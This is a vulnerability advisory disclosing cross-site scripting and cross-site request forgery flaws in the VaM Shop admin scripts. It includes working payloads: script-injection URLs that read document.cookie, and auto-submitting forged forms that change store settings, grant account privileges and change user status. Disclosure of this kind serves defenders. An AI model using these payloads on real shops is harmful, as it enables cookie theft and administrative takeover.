Multiple Vulnerabilities in VaM Shop

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in VaM Shop which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in VaM Shop: CVE-2011-0504
1.1 The vulnerability exists due to input sanitation error in the "search" parameter in admin/customers.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</sc ript>
1.2 The vulnerability exists due to input sanitation error in the "status" parameter in admin/orders.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert( document.cookie)</script >

2) Cross-site request forgery (CSRF) vulnerabilities in VaM Shop: CVE-2011-0503
2.1 The vulnerability exists due to insufficient validation of the request origin in admin/configuration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website configuration. Due to insufficient sanitation of input data in the "STORE_NAME" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation examples:
<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main">
<input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'>
<input type="hidden" name="STORE_OWNER" value="VaM Shop">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country">
<input type="hidden" name="SHOW_COUNTS" value="true">
<input type="hidden" name="CURRENT_TEMPLATE" value="vamshop">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in admin/accounting.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify privileges for arbitrary accounts.
Exploitation examples:
<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="access[]" value="configuration">
<input type="hidden" name="access[]" value="modules">
<input type="hidden" name="access[]" value="customers">
<input type="hidden" name="access[]" value="start">
<input type="hidden" name="access[]" value="content_manager">
<input type="hidden" name="access[]" value="categories">
</form>
<script>
document.main.submit();
</script>

2.3 The vulnerability exists due to insufficient validation of the request origin in admin/customers.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change status of arbitrary user.
Exploitation examples:
<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfi rm" method="post" name="main">
<input type="hidden" name="status" value="0">
</form>
<script>
document.main.submit();
</script>
